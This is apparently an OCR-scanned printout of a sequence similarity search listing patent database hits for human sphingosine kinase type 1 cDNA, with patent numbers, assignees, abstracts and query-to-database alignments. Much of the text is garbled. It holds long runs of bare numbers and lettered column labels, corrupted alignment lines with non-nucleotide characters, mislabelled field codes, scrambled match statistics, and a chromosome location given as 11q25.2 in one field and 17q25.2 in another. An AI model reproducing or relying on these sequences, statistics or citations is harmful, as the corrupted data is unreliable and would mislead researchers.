Db	553	GCTGGGCGCTGGGAGCTCTGTGTGTATGTCTTGAGACGGCTGATGACAGGTGT	612
Oy	438	GAACGGGCTCATGGAGCGGCTGTACGTGGGAGACGCGCATCCAGAAAGCCCGTATACCT	497
Db	613	GAACGGGCTCATGGAGCGGCTGTACTGGGAGACCGCCATCCAGAAAGCCCGTATACCT	672
Oy	498	CCGAGAGGCTCTGGCAAGCGCTGGACACTTCTTGAACCATTTATGCTGGCTATGAGCA	557
Db	673	CCGAGAGGCTCTGGCAAGCGCTGGACACTTCTTGAACCATTTATGCTGGCTATGAGCA	732
Oy	558	GGTCACCAATGAAGACCTCTGTACCAACTGCACGCTATGCTGTGCGCC	607
Db	733	GGTCACCAATGAAGACCTCTGTACCAACTGCACGCTATGCTGTGCGCC	782

RESULT 9
AAD04477
ID AAD04477 standard; cDNA; 1719 BP.

DT	04-JUL-2001 (first entry)
XX	
DE	Human sphingosine kinase type 1 (hsk1) cDNA

KW Human: sphingosine kinase type 1; sri; chromosome 11q25.2;
 KW sphingosine-1-phosphate; sip; drug screening; therapy; haemostasis;
 KW thrombosis; allergic reaction; proliferative disease; cancer;
 KW haematopoietic disorder; leukemia; cardiovascular disease; stroke;
 KW atherosclerosis; coronary artery disease; dyslipidaemia; diabetes;
 KW autoimmune disease; inflammatory disease; multiple sclerosis;
 KW helper-1 related disease; chronic obstructive pulmonary disease;
 KW asthma; myocardial infarction; neurodegenerative disorder;
 KW wound healing; embryogenesis; anticoagulant; cerebroprotective;
 KW neuroprotective; antipsoriatic; antiarthritic; cytostatic; cardiant;
 KW vulnere; ss.

FT	Key	Location/Qualifiers
FT	CDS	270..1424
FT		/*tag= a
FT		/product= "Human sphingosine kinase type 1 (hsk1)"
FT		/note= "CDS is specifically claimed in claim 2 and
FT		shown as SEQ ID NO 2"
FT	polyA_signal	1675..1681
FT		/*tag= b
FT	misc_feature	264..273
FT		/*tag= c
FT		/note= "translational initiator AUG is in a partial
FT		Kozak consensus"

PN	MO200131029-A2.
XX	
XX	03-MAY-2001.
PD	
XX	
PF	27-OCT-2000; 2000WO-EP09498
XX	
PR	28-OCT-1999; 99US-0162307

PR 07-FEB-2000; 2000US-0180525.
XX
XX (WARN) .WARNER LAMBERT CO.
PA
XX
XX Allen J, Gosink M, Melendez AJ, Takacs L;
PI
XX WPT; 2001-300510/31.
XX P-PSDB; AAE00924.
DR

PT New human sphingosine kinase type I gene for screening drug candidates
 PR particularly inhibitors used for preventing or treating e.g.
 PT atherosclerosis, thrombosis, asthma and diabetes -
 XX
 PS Claim 2; Fig 1; 91pp; English.

Claim 2; Fig 1; 91pp; English.

CC The present sequence is human sphingosine kinase type 1 (hSKI) cDNA.
CC
CC The hSKI gene is located on chromosome 17q25.2. The SKI converts the
CC substrate sphingosine to sphingosine-1-phosphate (S1P). The SKI gene
CC and encoded polypeptide are applicable in screening drug candidates
CC particularly inhibitors for preventing or treating disorders such as
CC haemostasis, thrombosis, allergic reactions, proliferative diseases
CC including cancer, haematopoietic disorders such as leukaemia,
CC cardiovascular diseases such as stroke, atherosclerosis and coronary
CC artery disease, dyslipidaemia, diabetes including type I and type II
CC diabetes, autoimmune and inflammatory diseases such as multiple
CC sclerosis, T helper-1 related diseases, chronic obstructive pulmonary
CC disease, asthma, myocardial infarction, neurodegenerative disorders,
CC natural wound healing processes and embryogenesis.

Sequence 1719 BP; 305 A; 529 C; 556 G; 329 T; 0 other;

Query Match	32.88;	Score 524;	DB 22;	Length 1719;
-------------	--------	------------	--------	--------------

```

Best Local Similarity  55.78;  Freq. NO: 1.1e 220;
Matches  624;  Conservative  0;  Mismatches  2;  Indels  0;  Gaps  0;

```

QY	925	GTGGGCCCGACGAGGACTTGTGCTAGTCTGGCACTGCTGACATCGACACTGGGCAGT	984
Db	1020	GTGGTCCCGACGAGGACTTGTGCTAGTCTGGCACTGCTGACATCGCACCTGGGCAGT	1075

985 GAGATGTTTGGCTGCACCCATGGGCGCTGTGCAGCTGGCGTCATGCATCTGTTCTACGTG 1044

Db 1080 GAGATGTTTGTCTGCACCCATGGGCCGCTGTGCAGCTGGCGTCATGCATCTGTTCTACGTG 1139

QY 1045 CGGGCGGAGTGTCTCGTGCCATGCTGCTGCGCCTCTTCCCTGCCATGGAGAAGGCGAGG 1104

Db 1140 CGGGCGGAGTGTCTCGTGCATGCTGCTGCGCCCTCTTCCCTGGCCATGGAGAGGGCAGG 1199

1105 CATATGAGTATGAATGCCCCCTACTTGGTATATGTGCCCGTGGTCCGCTTCCGCTTGAG 1164

Db 1200 CATATGAGTATGATGCCCCCTACTTGGTATATGTGCCCGGTGGTCCGCTTGAG 1259

1165 CCCAAGGATGGGAAGGTGTGTTGCAGTGGATGGGAATTGATGTTAGCGAGCCGTG 1224

1260 CCCAAGATGGGAAGAAGTGTTCACAGTGGATGGGAATTGATGTTAGCCGACCGTG 1319

1225 CAGGCGCCACCTAATGGTCAAGCGTTGCCAGCACCACCA
1284

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1

100E ***** 134A

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
84

	(c)	(d)	(e)	(f)	(g)	(h)	(i)	(j)	(k)	(l)	(m)	(n)	(o)	(p)	(q)	(r)	(s)	(t)	(u)	(v)	(w)	(x)	(y)	(z)	(aa)	(ab)	(ac)	(ad)	(ae)	(af)	(ag)	(ah)	(ai)	(aj)	(ak)	(al)	(am)	(an)	(ao)	(ap)	(aq)	(ar)	(as)	(at)	(au)	(av)	(aw)	(ax)	(ay)	(az)	(ba)	(bb)	(bc)	(bd)	(be)	(bf)	(bg)	(bh)	(bi)	(bj)	(bk)	(bl)	(bm)	(bn)	(bo)	(bp)	(bq)	(br)	(bs)	(bt)	(bu)	(bv)	(bw)	(bx)	(by)	(bz)	(ca)	(cb)	(cc)	(cd)	(ce)	(cf)	(cg)	(ch)	(ci)	(cj)	(ck)	(cl)	(cm)	(cn)	(co)	(cp)	(cq)	(cr)	(cs)	(ct)	(cu)	(cv)	(cw)	(cx)	(cy)	(cz)	(da)	(db)	(dc)	(dd)	(de)	(df)	(dg)	(dh)	(di)	(dj)	(dk)	(dl)	(dm)	(dn)	(do)	(dp)	(dq)	(dr)	(ds)	(dt)	(du)	(dv)	(dw)	(dx)	(dy)	(dz)	(ea)	(eb)	(ec)	(ed)	(ee)	(ef)	(eg)	(eh)	(ei)	(ej)	(ek)	(el)	(em)	(en)	(eo)	(ep)	(eq)	(er)	(es)	(et)	(eu)	(ev)	(ew)	(ex)	(ey)	(ez)	(fa)	(fb)	(fc)	(fd)	(fe)	(ff)	(fg)	(fh)	(fi)	(fj)	(fk)	(fl)	(fm)	(fn)	(fo)	(fp)	(fq)	(fr)	(fs)	(ft)	(fu)	(fv)	(fw)	(fx)	(fy)	(fz)	(ga)	(gb)	(gc)	(gd)	(ge)	(gf)	(gg)	(gh)	(gi)	(gj)	(gk)	(gl)	(gm)	(gn)	(go)	(gp)	(gq)	(gr)	(gs)	(gt)	(gu)	(gv)	(gw)	(gx)	(gy)	(gz)	(ha)	(hb)	(hc)	(hd)	(he)	(hf)	(hg)	(hh)	(hi)	(hj)	(hk)	(hl)	(hm)	(hn)	(ho)	(hp)	(hq)	(hr)	(hs)	(ht)	(hu)	(hv)	(hw)	(hx)	(hy)	(hz)	(ia)	(ib)	(ic)	(id)	(ie)	(if)	(ig)	(ih)	(ii)	(ij)	(ik)	(il)	(im)	(in)	(io)	(ip)	(iq)	(ir)	(is)	(it)	(iu)	(iv)	(iw)	(ix)	(iy)	(iz)	(ja)	(jb)	(jc)	(jd)	(je)	(jf)	(jg)	(jh)	(ji)	(jj)	(jk)	(jl)	(jm)	(jn)	(jo)	(jp)	(jq)	(jr)	(js)	(jt)	(ju)	(jv)	(jw)	(jx)	(jy)	(jz)	(ka)	(kb)	(kc)	(kd)	(ke)	(kf)	(kg)	(kh)	(ki)	(kj)	(kk)	(kl)	(km)	(kn)	(ko)	(kp)	(kq)	(kr)	(ks)	(kt)	(ku)	(kv)	(kw)	(kx)	(ky)	(kz)	(la)	(lb)	(lc)	(ld)	(le)	(lf)	(lg)	(lh)	(li)	(lj)	(lk)	(ll)	(lm)	(ln)	(lo)	(lp)	(lq)	(lr)	(ls)	(lt)	(lu)	(lv)	(lw)	(lx)	(ly)	(lz)	(ma)	(mb)	(mc)	(md)	(me)	(mf)	(mg)	(mh)	(mi)	(mj)	(mk)	(ml)	(mm)	(mn)	(mo)	(mp)	(mq)	(mr)	(ms)	(mt)	(mu)	(mv)	(mw)	(mx)	(my)	(mz)	(na)	(nb)	(nc)	(nd)	(ne)	(nf)	(ng)	(nh)	(ni)	(nj)	(nk)	(nl)	(nm)	(nn)	(no)	(np)	(nq)	(nr)	(ns)	(nt)	(nu)	(nv)	(nw)	(nx)	(ny)	(nz)	(oa)	(ob)	(oc)	(od)	(oe)	(of)	(og)	(oh)	(oi)	(oj)	(ok)	(ol)	(om)	(on)	(oo)	(op)	(oq)	(or)	(os)	(ot)	(ou)	(ov)	(ow)	(ox)	(oy)	(oz)	(pa)	(pb)	(pc)	(pd)	(pe)	(pf)	(pg)	(ph)	(pi)	(pj)	(pk)	(pl)	(pm)	(pn)	(po)	(pp)	(pq)	(pr)	(ps)	(pt)	(pu)	(pv)	(pw)	(px)	(py)	(pz)	(qa)	(qb)	(qc)	(qd)	(qe)	(qf)	(qg)	(qh)	(qi)	(qj)	(qk)	(ql)	(qm)	(qn)	(qo)	(qp)	(qq)	(qr)	(qs)	(qt)	(qu)	(qv)	(qw)	(qx)	(qy)	(qz)	(ra)	(rb)	(rc)	(rd)	(re)	(rf)	(rg)	(rh)	(ri)	(rj)	(rk)	(rl)	(rm)	(rn)	(ro)	(rp)	(rq)	(rr)	(rs)	(rt)	(ru)	(rv)	(rw)	(rx)	(ry)	(rz)	(sa)	(sb)	(sc)	(sd)	(se)	(sf)	(sg)	(sh)	(si)	(sj)	(sk)	(sl)	(sm)	(sn)	(so)	(sp)	(sq)	(sr)	(ss)	(st)	(su)	(sv)	(sw)	(sx)	(sy)	(sz)	(ta)	(tb)	(tc)	(td)	(te)	(tf)	(tg)	(th)	(ti)	(tj)	(tk)	(tl)	(tm)	(tn)	(to)	(tp)	(tq)	(tr)	(ts)	(tt)	(tu)	(tv)	(tw)	(tx)	(ty)	(tz)	(ua)	(ub)	(uc)	(ud)	(ue)	(uf)	(ug)	(uh)	(ui)	(uj)	(uk)	(ul)	(um)	(un)	(uo)	(up)	(uq)	(ur)	(us)	(ut)	(uu)	(uv)	(uw)	(ux)	(uy)	(uz)	(va)	(vb)	(vc)	(vd)	(ve)	(vf)	(vg)	(vh)	(vi)	(vj)	(vk)	(vl)	(vm)	(vn)	(vo)	(vp)	(vq)	(vr)	(vs)	(vt)	(vu)	(vv)	(vw)	(vx)	(vy)	(vz)	(wa)	(wb)	(wc)	(wd)	(we)	(wf)	(wg)	(wh)	(wi)	(wj)	(wk)	(wl)	(wm)	(wn)	(wo)	(wp)	(wq)	(wr)	(ws)	(wt)	(wu)	(wv)	(ww)	(wx)	(wy)	(wz)	(xa)	(xb)	(xc)	(xd)	(xe)	(xf)	(xg)	(xh)	(xi)	(xj)	(xk)	(xl)	(xm)	(xn)	(xo)	(xp)	(xq)	(xr)	(xs)	(xt)	(xu)	(xv)	(xw)	(xx)	(xy)	(xz)	(ya)	(yb)	(yc)	(yd)	(ye)	(yf)	(yg)	(yh)	(yi)	(yj)	(yk)	(yl)	(ym)	(yn)	(yo)	(yp)	(yq)	(yr)	(ys)	(yt)	(yu)	(yv)	(yw)	(yx)	(yy)	(yz)</
--	-----	-----	-----	-----	-----	-----	-----	-----	-----	-----	-----	-----	-----	-----	-----	-----	-----	-----	-----	-----	-----	-----	-----	-----	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	------	--------

F

— — — — —

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

336

337

338

339

340

341

342

343

344

345

346

347

348

349

350

351

352

353

354

355

356

357

358

359

360

361

362

363

364

365

366

367

368

369

370

371

372

373

374

375

376

377

378

379

380

381

382

383

384

385

386

387

388

389

390

391

392

393

394

395

396

397

398

399

400

401

402

403

404

405

406

407

408

409

410

411

412

413

414

415

416

417

418

419

420

421

422

423

424

425

426

427

428

429

430

431

432

433

434

435

436

437

438

439

440

441

442

443

444

445

446

447

448

449

450

451

452

453

454

455

456

457

458

459

460

461

462

463

464

465

466

467

468

469

470

471

472

473

474

475

476

477

478

479

480

481

482

483

484

485

486

487

488

489

490

491

492

493

494

495

496

497

498

499

500

501

502

503

504

505

506

507

508

509

510

511

512

513

514

515

516

517

518

519

520

521

522

523

524

525

526

527

528

529

530

531

532

533

534

535

536

537

538

539

540

541

<

ny

1403 IIIGGGGACAGCCCBAAI GMAVIC I C I GGVI CAAGAACCACGCICGGC IGGGCCAACCI 1JZ4

Db 1560 TTGGGGGGAGAGCCAGAAATGAGTCTGGGTACAGAGCCAGCTGGTGGCCAGCT 1619

Qy 1525 GCCTATGTAAGGCTTCTAGTTTGT 1550

Db 1620 GCCTATGTAAGGCTTCTAGTTTGT 1645

RESULT 10

AAAC84161

ID AAC84161 standard; cDNA: 1205 BP.

AC AAC84161;

AC AAC84161;

DT 19-MAR-2001 (first entry)

DE Human sphingosine kinase encoding cDNA.

XX Sphingosine kinase; antiarthritic; antiasthmatic; antiarteriosclerotic;

KW antiinflammatory; neuroprotective; antibacterial; immunosuppressive;

KW human; ss.

XX Homo sapiens.

OS

PH Key Location/Qualifiers

FT CDS 33..1187

FT /tag="a

FT /product="sphingosine kinase"

XX MO200070028-A1.

XX 23-NOV-2000.

XX 12-MAY-2000; 2000MO-AU00457.

XX 13-MAY-1999; 99AU-0000339.

XX 08-JUL-1999; 99AU-0001504.

XX (JOHJ) JOHNSON & JOHNSON RES PTY LTD.

XX Pilsen SM, Wattenberg BW, Xia P, D'Andrea RJ, Gamble JR, Vadas MA;

XX WPI: 2001-016227/02.

XX P-PSDB: AAB48007.

XX Novel sphingosine kinase protein and nucleic acid molecules for

PT diagnosis, prophylaxis and treatment of rheumatoid arthritis, asthma,

PT atherosclerosis, inflammation, meningitis, multiple sclerosis and

PT septic shock

XX Claim 4; Fig 7a; 100pp; English.

XX This cDNA encodes a human sphingosine kinase (SK) protein. The human SK

CC protein, encoding nucleic acids and modulators are useful for modulating

CC expression, functional activity or cellular functional activity of

CC sphingosine kinase in a subject and also for treating a mammal by

CC modulating the activity of SK. Diseases treated by regulating SK

CC cellular activity include rheumatoid arthritis, asthma, atherosclerosis,

CC inflammation, meningitis, multiple sclerosis and septic shock.

XX Sequence 1205 BP; 196 A; 357 C; 400 G; 252 T; 0 other;

XX

Query Match 28.3%; Score 452; DB 22; Length 1205;

Best Local Similarity 100.0%; Pred. No. 3.7e-194;

Matches 452; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

Qy 156 GAGAGCGGCGGTGAGGTTATGATCCAGCGGCGGCCCGGCGGTGCTCCGCGGCC 215

Db 14 GAGAGCGGCGGTGAGGTTATGATCCAGCGGCGGCCCGGCGGTGCTCCGCGGCC 73

Qy 216 CTGCGCGGTGCTGCTGCTGAACCGCGCGCGCGCAAGGCGGCTTGACGCTCTT 275

Db 74 CTGCGCGGTGCTGCTGCTGAACCGCGCGCGCGCAAGGCGGCGGCTTGACGCTCTT 133

Qy 276 CCGAGTACGCTGACGCCCTTTGGCTGAGGCTGAATCTCTTCAACGCTGATGCTAC 335

Db 134 CCGAGTACGCTGAGGCCCTTTGGCTGAGGCTGAATCTCTTCAACGCTGATGCTAC 193

Qy 336 TGAGGGGGGAGAACACACGCGCGGAGCTGTGCGGTGGAGAGACTGGCGCGGAGAGC 395

Db 194 TGAGGGGGGAGAACACACGCGCGGAGCTGTGCGGTGGAGAGACTGGCGCGGAGAGC 253

Qy 396 TCTGTGTGATGCTGTGAGAGCGGCGGTGATGACAGAGGTGTAACGGGCTCATGAGCG 455

Db 254 TCTGTGTGATGCTGTGAGAGCGGCGGTGATGACAGAGGTGTAACGGGCTCATGAGCG 313

Qy 456 GCCTGACTGGAGACCGCCATCCAGAGCCCTGTGATGCTCCAGCAGGCTGTGCA 515

Db 314 GCCTGACTGGAGACCGCCATCCAGAGCCCTGTGATGCTCCAGCAGGCTGTGCA 373

Qy 516 CGGCGTGGCAGCTTCTTGACCAATTATGCTGATGAGCAGGTACCAATGAAGCT 575

Db 374 CGGCGTGGCAGCTTCTTGACCAATTATGCTGATGAGCAGGTACCAATGAAGCT 433

Qy 576 CTTGACCACTGCACGCTATTGCTGCGCC 607

Db 434 CTTGACCACTGCACGCTATTGCTGCGCC 465

RESULT 11

ABL59532

ID ABL59532 standard; cDNA: 1173 BP.

AC ABL59532;

XX 16-JUL-2002 (first entry)

XX Human sphingosine kinase (SphK1) cDNA SEQ ID NO:32.

XX Human: sphingosine kinase; SphK1; enzyme; chromosome 17q25.2; gene;

KW tumour; lipid associated gene; lipid metabolism; lipid synthesis; ss.

XX Homo sapiens.

XX MO200227028-A1.

XX 04-APR-2002;

XX 27-SEP-2001; 2001MO-US30366.

XX 28-SEP-2000; 2000US-0676052.

XX (ATVI-) AFAIRGIN TECHNOLOGIES INC.

XX Skinner MK, Patton JL, Chaudhary J;

XX WPI: 2002-402054/43.

XX Identifying tumor characteristics in a tissue sample taken from a

PT patient, involves determining the copy number or expression level of

PT genes associated with lipid metabolism, synthesis or action

XX Example 1; Page 90; 113pp; English.

XX The present invention describes a method for identifying tumour

CC characteristics, comprising measuring a copy number or expression level

CC of at least two genes associated with lipid metabolism, synthesis, or

CC action in cells from a patient tissue sample, and comparing the results

CC with a copy number or expression level of the genes in a normal cell.

CC Also described is an array of nucleic acid polymers immobilised on a

CC solid support, comprising a solid support, at least two different nucleic

CC acid polymers which are each specific for a different gene associated

CC with lipid metabolism, synthesis or action, where each nucleic acid

CC polymer is located at a predetermined position on the solid support, and

CC the array comprises nucleic acid polymers which are specific for less

CC than 100 genes other than the selected genes. The method is useful for

CC determining tumour characteristics in a tissue sample taken from a

CC patient. The present sequence represents a human lipid-associated gene
CC related cDNA sequence, which is used in the exemplification of the
CC present invention.

XX Sequence 1173 BP; 188 A; 349 C; 390 G; 246 T; 0 other;

SO Query Match 28.2%; Score 451; DB 24; Length 1173;

Best Local Similarity 100.0%; Pred. No. 1,1e-193; Matches 451; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

```
OY 157 GAGCCGGGGTGAAGTTATGATCCAGCGGGCGGGCGCTGCTCCCGGGCC 216
    |||||||
DB 1 GAGCCGGGGTGAAGTTATGATCCAGCGGGCGGGCGCTGCTCCCGGGCC 60
